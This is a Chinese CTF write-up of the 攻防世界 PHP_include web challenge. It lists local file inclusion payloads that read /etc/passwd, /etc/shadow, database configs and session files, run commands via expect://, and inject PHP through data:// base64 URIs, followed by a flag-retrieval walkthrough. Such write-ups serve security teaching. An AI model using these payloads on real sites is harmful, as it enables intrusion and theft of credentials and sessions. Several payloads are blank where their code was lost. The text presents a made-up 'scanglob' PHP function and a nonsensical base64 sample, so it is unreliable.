【CTF | 网络安全】攻防世界 Web

文章目录

• • 知识点
  • • PHP_include
    • PHP伪协议
    • data伪协议
    • file伪协议
    • 姿势
    • • 读取目录路径
      • 读取目录文件
      • glob读取目录文件实例
      • 读取文件内容
      • readfile读取文件内容实例

        知识点

        PHP_include

        php_include 是 PHP 语言中一个重要的文件包含机制，可以将一个 PHP 文件包含到另一个 PHP 脚本文件中。该机制通常用于代码复用和模块化开发，在不同的 PHP 文件之间实现函数和类等代码的共享。

        在 PHP 中，有两种文件包含机制：include 和 require。它们都可以将指定的 PHP 文件包含到当前脚本中，但两者在出错处理和返回值方面稍有不同。具体来说：

        • include：如果包含文件不存在或者出现错误，PHP 会发出警告并继续执行脚本。
        • require：如果包含文件不存在或者出现错误，PHP 会立即停止脚本执行，并抛出致命错误。

          此外，还有两个特殊的文件包含机制：include_once 和 require_once。它们可以确保包含文件只被包含一次，避免重复包含和执行。

          ---

          PHP伪协议

          PHP 伪协议是一种特殊的 URI 协议，可以绕过通常的协议限制，直接访问本地文件和执行 PHP 代码。

          Payload

          1. 读取 /etc/passwd 文件，显示系统用户列表

          http://example.com/index.php?page=/etc/passwd
          

          1. 读取 /etc/shadow 文件，尝试破解系统用户密码

          http://example.com/index.php?page=/etc/shadow
          

          1. 读取当前目录下的敏感文件

          http://example.com/index.php?page=../../../etc/passwd
          

          1. 读取 MySQL 配置文件，获取数据库连接信息

          http://example.com/index.php?page=/var/www/config.php
          

          1. 读取 PHP Session 文件，窃取用户会话信息

          http://example.com/index.php?page=/var/lib/php/sessions/sess_SESSION_ID
          

          1. 利用 expect 协议执行任意命令

          http://example.com/index.php?page=expect://id
          

          1. 利用 data 协议读取 base64 编码的文件内容

          http://example.com/index.php?page=data:text/plain;base64,PD9waHAgc2V0X3RpbWUoJ2hvc3QnKTsgPz4=
          

          ---

          data伪协议

          data 伪协议是一种用于内嵌数据的伪协议，它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中，从而减少 HTTP 请求的数量，并提高页面加载速度。

          data URI 的语法如下：

          data:[][;base64],
          

          其中，mediatype 是媒体类型，例如 text/plain、image/jpeg、audio/mpeg 等；如果数据需要进行 base64 编码，则在 media type 后添加 ;base64 标记；data 是实际的数据内容。

          Payload：

          Cookie外带

          ?page=data://text/plain,alert(document.cookie)
          

          ping本地回环地址

          ?page=data://text/plain,
          

          Base64编码绕过

          ?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=
          

          

          查看PHP info

          ?page=data://text/plain,
          

          模板

          ?page=data://text/plain,恶意代码
          

          ---

          file伪协议

          file 伪协议用于访问本地文件系统中的文件，可以在 web 页面中链接到本地文件，或者读取本地文件中的数据。

          file URI 的语法如下：

          file:///
          

          其中，host 表示主机名或 IP 地址（可省略），path 表示文件路径（必须以 / 开头）。

          Payload

          file:///C:/Users/Desktop/index.html
          

          file:///C:/Users/hacker/attack.php?parameter=alert('恶意脚本')
          

          ---

          姿势

          

          代码使用 $_GET['page'] 获取 URL 参数中名为 “page” 的值，并进行字符串替换，将 php:// 替换为空字符串

          由于没有对 $page 变量进行足够的过滤，因此可使用文件包含读取flag

          ?page=data://text/plain,
          

          

          由上图可知，data伪协议执行成功。

          读取目录路径

          Payload

          1、 $_SERVER['DOCUMENT_ROOT']; 会返回当前运行 PHP 脚本所在的文档根目录（Document Root）的绝对路径。

          2、使用 $_SERVER['CONTEXT_DOCUMENT_ROOT'] 变量，它返回当前运行 PHP 脚本所在上下文的文档根目录的绝对路径。

          3、使用 dirname(__FILE__) 函数，该函数返回当前执行的 PHP 脚本所在位置的绝对路径。

          4、使用 getcwd() 函数，该函数返回当前工作目录的绝对路径。此方法适用于在 PHP 执行期间更改当前工作目录的情况。

          需要注意的是，在 PHP 7.0 及以后版本中，不再推荐使用 __FILE__ 常量，而是建议使用 __DIR__ 常量来代替 dirname(__FILE__) 函数。

          如果网站根目录是 /var/www/html，则可以使用以下任意一种方式来获取网站根目录路径：

          // 方法1
          $rootPath = $_SERVER['DOCUMENT_ROOT'];
          // 方法2
          $rootPath = dirname(__FILE__);
          // 方法3
          $rootPath = getcwd();
          // 方法4
          $rootPath = $_SERVER['CONTEXT_DOCUMENT_ROOT'];
          

          举个例子：

          ?page=data://text/plain,
          

          

          返回了当前执行的 PHP 脚本所在位置的绝对路径text

          再举个例子：

          ?page=data://text/plain,
          

          

          返回了当前运行 PHP 脚本所在的文档根目录的绝对路径/var/www

          读取目录文件

          PHP 中一些获取目录下文件和子目录的函数：

          1、scandir('指定目录') 函数将返回指定目录中的所有文件和子目录的数组列表

          2、glob($pattern, $flags)：根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式，支持 * 和 ? 等通配符，例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录，可以使用 * 作为通配符。$flags 参数是一个可选参数，用于设置匹配模式和排序规则等。

          3、scanglob($directory, $pattern)：类似于 glob 函数，但是可以在指定的目录下递归搜索匹配指定模式的文件或目录。$directory 参数是要搜索的目录，$pattern 参数是要匹配的通配符模式。

          ---

          glob读取目录文件实例

          举个例子，打印输出目录 /var/www 下所有以 .php 结尾的文件列表：

          ?page=data://text/plain,
          

          回显如下：

          

          ---

          读取文件内容

          file_get_contents($filename) 是 PHP 中一个常用的文件操作函数，它可以返回指定文件的内容

          Payload：

          ?page=data://text/plain,
          

          该Payload正确，但无回显。

          猜测fl4gisisish3r3.php中字符串为HTML标签，从而被当作HTML元素来解析和显示

          Payload：

          ?page=data://text/plain,
          

          

          如上图，猜测正确。

          同时，readfile函数也可进行文件内容读取。

          readfile读取文件内容实例

          如果想使用 readfile 函数读取文件并输出到浏览器，但又希望避免浏览器解析 HTML 元素，可以使用 PHP 的 header() 函数来设置响应头，将输出内容的类型设置为纯文本格式。

          ?page=data://text/plain,